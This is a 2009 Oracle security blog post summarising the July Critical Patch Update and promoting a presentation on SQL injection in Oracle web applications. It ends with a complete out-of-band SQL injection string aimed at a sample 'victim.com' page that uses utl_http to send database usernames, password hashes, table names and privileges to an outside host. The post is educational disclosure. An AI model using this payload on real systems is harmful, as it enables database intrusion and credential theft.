Alexander Kornbrust Oracle Security Blog

Yesterday night Oracle released the July 2009 CPU. This CPU contains 30 fixes for several Oracle products. 10 security issues are fixed in the Oracle Database Server.As always the usual suspects (Esteban, David, Joxean, Alexandr, Dennis) and a few others reported issues in Oracle products.

The 3 most critical bugs this time are related to the TNS Listener and one of the bugs be exploited without authentication.These issues CVE-2009-1020, CVE-2009-1019, CVE-2009-1963 are rated with CVSS 9 (for Windows), 7.5 for Unix.
Oracle has also fixed 3 of my findings in the database (3 out of 10 :-))

• SQL Injection in DBMS_EXPORT_EXTENSION (previously fixed in April 2006)
• Information Disclosure (Password Hash) in Database Vault
• Information Disclosure (Password Hash) in Audit Vault

More details will be published within the next few days. The updates for our Oracle database scanner Repscan (free trial available) will be released within the next 2 days.

I just uploaded the presentation „SQL Injection in Oracle Webapps“ to our website. This presentation describes the basics of SQL, different exploitation techniques (inband, out-of-band, blind), how to search creditcard numbers in the database (using dbms_xmlgen), …Here is one of the sample SQL Injection strings from the presentation. With this  SQL Injection string we are getting all username/passwords, all table names, all column names and all privileges in one step. The trick is to use sum(length(utl_http())) in the SELECT clause.

http://victim.com/order.jsp?id=17‚ or 1=((select

sum(length(utl_http.request(‚http://www.orasploit.com/’||

username||’=’||password) from dba_users)))+((select

sum(utl_http.request(‚http://www. orasploit.com/’||

owner||’=’||table_name) from dba_tables))+((select

sum(length(utl_http.request(‚http://www.orasploit.com/’||

owner||’=’||table_name||’=’||column_name)) from dba_users))

+((select sum(length(utl_http.request(‚http://

www.orasploit.com/’||grantee||’=’||granted_role) from

dba_role_privs)))+((select

sum(length(utl_http.request(‚http://www.orasploit.com/’||

grantee||’=’||owner||’=’||table_name||’=’||privilege||’=’||

grantable) from dba_tab_privs)))–